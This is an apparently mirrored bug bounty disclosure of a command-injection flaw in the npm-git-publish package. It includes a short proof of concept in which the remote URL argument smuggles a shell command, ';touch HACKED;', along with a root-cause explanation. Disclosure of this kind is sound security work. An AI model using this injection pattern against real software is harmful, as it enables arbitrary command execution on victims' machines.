[npm-git-publish] RCE via insecure command formatting
The npm-git-publish module builds a shell command by inserting a user-supplied remote URL without validation. An attacker who controls that value could run arbitrary commands on the machine running the publish call.
- Triaged in 37 hours
- Fixed in 2 months
- Disclosed after 2 months
I would like to report a RCE issue in the npm-git-publish module.
It allows to execute arbitrary commands remotely inside the victim's PC
Module
module name: npm-git-publish
version: 0.2.4-beta
npm page: https://www.npmjs.com/package/npm-git-publish
Module Description
Share/publish private packages using Git remotes!
Module Stats
[~70] downloads in the last day [268] downloads in the last week [~1k] downloads in the last month
Vulnerability Description
The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/theoy/npm-git-publish/blob/master/lib/publish.ts#L151
Steps To Reproduce:
- Create the following PoC file:
// poc.js
var git = require('npm-git-publish');
git.publish('.', 'http://gihub.com ;touch HACKED; #')
- Check there aren't files called
HACKED - Execute the following commands in another terminal:
npm i npm-git-publish # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKEDhas been created :)
Screenshot_from_2019-11-05_22-27-27.png From the original on HackerOne
Patch
Don't format
commandsusing insecureuser's inputs:)
Supporting Material/References:
- [OPERATING SYSTEM VERSION]: Kali Linux
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Impact
RCE via command formatting on npm-git-publish
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the remote URL is concatenated into a shell command string instead of being passed as a separate, escaped argument, so shell metacharacters in the input are interpreted.
Impact
Arbitrary commands could be executed on the victim's machine, but only when the attacker can influence the remote URL passed to the publish call.
What the attacker needed
Attacker controls the remote URL argument; victim runs publish on that value
How it was found
- Create a small script that calls the module's publish function with a crafted remote URL.
- Confirm a marker file does not yet exist.
- Install the affected module and run the script.
- Check again and observe that the marker file was created.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This package runs a system command to talk to Git. It pastes a value the caller provides straight into that command line, so extra shell instructions hidden in the value get run too. That lets someone run their own programs on the victim's computer.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.